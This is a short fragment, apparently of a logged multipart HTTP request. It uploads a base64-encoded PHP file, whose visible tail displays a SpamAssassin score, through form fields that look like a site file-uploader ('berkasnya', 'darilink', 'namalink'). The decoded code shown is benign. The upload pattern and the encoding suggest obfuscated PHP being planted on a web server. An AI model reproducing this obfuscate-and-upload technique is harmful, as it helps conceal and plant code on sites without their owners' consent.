gICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsKICAgICAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9InRleHQtJy4kY2xhc3MuJyI+WW91ciBTcGFtQXNzYXNzaW4gc2NvcmUgaXMgJy4kc2NvcmUuJyAgPC9kaXY+CjxkaXY+RnVsbCBSZXBvcnQgOiA8cHJlPicuJHJlc3BvbnNlLT5yZXBvcnQuJzwvcHJlPjwvZGl2Pic7CnByaW50ICcgICAgPC9kaXY+JzsKICAgIH0KfQpwcmludCAnPC9ib2R5Pic7\"));\n?>\r\n--161d2eb4e898ede9f463cffe0642ef32\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--161d2eb4e898ede9f463cffe0642ef32\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--161d2eb4e898ede9f463cffe0642ef32\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--161d2eb4e898ede9f463cffe0642ef32--\r\n"]